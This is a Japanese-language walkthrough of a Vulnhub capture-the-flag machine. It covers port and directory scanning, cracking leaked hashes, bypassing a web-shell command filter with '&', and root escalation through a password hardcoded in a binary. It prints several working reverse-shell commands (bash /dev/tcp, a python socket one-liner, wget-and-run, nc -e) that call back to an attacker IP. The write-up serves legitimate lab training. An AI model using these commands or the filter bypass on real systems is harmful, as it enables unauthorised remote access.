ツールと脆弱性情報#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- linux 逆シェル
- wget ファイルダウンロード
- linux の string コマンド
- sudo -l ユーザーが実行可能なコマンドを表示
** 一部のツールの使い方と詳細な説明はこのシリーズの第一篇の記事を参照してください:bossplayersCTF:1-Vulnhub Walkthrough **
0x00 情報収集#
ターゲットマシンのスキャン情報#
netdiscoverの-rパラメータで192.168.1.0/16をスキャンした結果は以下の通りです:

nmapでホストとポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.158

WSGI:正式名称は Web Server Gateway Interface で、WSGI はサーバー、python モジュール、フレームワーク、API、またはその他のソフトウェアではなく、webserver が web application と通信する方法を記述する規範です。
パスのスキャン#
dirbでパスをスキャン:
dirb http://192.168.1.158

dirsearchでスキャンした結果はdirbの全てを含んでいないようです。もちろん辞書の問題もあるかもしれません。
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

gobusterのスキャンもあまり効果的ではありません:
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

パスへのアクセス#
/adminディレクトリはdjangoの管理者ログイン画面で、一般的な弱いパスワードは通用しません。

/dev画面にはいくつかの開発者のメールアドレスがあり、全て会社のメールを使用しています。

ウェブページのソースコードを確認すると、いくつかのユーザーのパスワードハッシュ値が見えます:

また、海外のバッチハッシュクラックサイトhashkillerも使用できます。
ただし、このサイトはグローバルを有効にする必要があります、あなたは理解していますよね。

解読されたアカウントとパスワードのペアは:nick/bulldogとsara/bulldogloverです。
非常に明らかなweb-shellボタンはdev/shellにリダイレクトされます。
しかし、画面には認証が必要と表示されています:

ここではまだ記事を書くことはできません。
0x01 シェルを取得#
ディレクトリの基本的なアクセスが完了したので、解読したアカウントとパスワードを使用して/admin管理者画面にログインを試みます。
2 つのアカウントとパスワードのペアでログインした後の画面は、何も編集する権限がないと表示されます。

手がかりがないように見えますが、元々認証が必要と表示されていた/dev/shell画面に再度アクセスすると、
それは静かに変化していました。

ページの指示に従って、リストされた数コマンドのみを実行できます。
しかし、& を使用して複数のコマンドを結合することができるので、制限を回避できます。
次に、kali上でリスニングを開始し、いくつかの一般的なshell逆シェルの方法を試みます。
nc -lvp 4444
bashを使用した逆シェル
pwd&bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
bash -i はインタラクティブな bash 環境を生成します。
0>&1 は標準入力と標準出力を結合し、前の標準出力にリダイレクトします。
実際には逆シェルは成功しませんでした。
pythonを使用した逆シェル
一行のpythonでshellを起動しようとします:
pwd&python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
以下のようなメッセージが表示されます:

INVALID COMMAND. I CAUGHT YOU HACKER! ';' CAN BE USED TO EXECUTE MULTIPLE COMMANDS!!
;がフィルタリングされており、インタラクティブな場所でコマンドを直接実行できません。そこで、スクリプトに入れます。
python -c "import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);"
これをpython-shell.pyとして保存し、apache2のデフォルトディレクトリ/var/www/htmlに移動します。
apache2サービスを開始します:service apache2 start

web-shell画面で実行:
pwd&wget http://192.168.1.6/python-shell.py
pwd&python python-shell.py
私の実験でも成功しませんでしたが、他の人は成功しました。
ncを使用した逆シェル(ターゲットマシンに nc が必要)
nc -e /bin/bash 192.168.1.6 4444
echoを使用した逆シェル(成功)
echo 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1' | bash

0x02 root 権限の昇格#
home ディレクトリに
bulldogadminというディレクトリがあることがわかりましたので、まずこのディレクトリを確認します。結果として、lsコマンドを実行したときに何も見つかりませんでしたが、ls -aを実行すると、隠しフォルダが見つかりました。

私たちはこの.hiddenadmindirectoryフォルダに入り、コメントファイルを見つけました:

fileコマンドでこのユーザーファイルが何であるかを確認します:

ELFファイルであることがわかりました。ELFファイルは簡単に言うと、Linux の主要な実行可能ファイル形式です。
strings customPermissionAppを実行すると、多くの文字列が表示され、その中に私の注意を引く部分がありました:
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
私たちのプログラムには、stringsコマンドで見つけたハードコーディングされたパスワードがあります。
H が行の終わりまたは何らかの端の部分であると仮定すると、私たちはパスワードSUPERultimatePASSWORDyouCANTgetを得ました。
大胆に推測すると、これはnoteに記載されているdjangoユーザーのパスワードです。
上記のスキャンで得た情報によると、sshポートは 23 にあるので、直接ssh接続します:
ssh -p 23 django@192.168.1.8

接続後、sudo suでrootユーザーに切り替え、djangoユーザーのパスワードだけで成功し、rootシェルを取得しました。

この記事はここで終了です。
参考記事: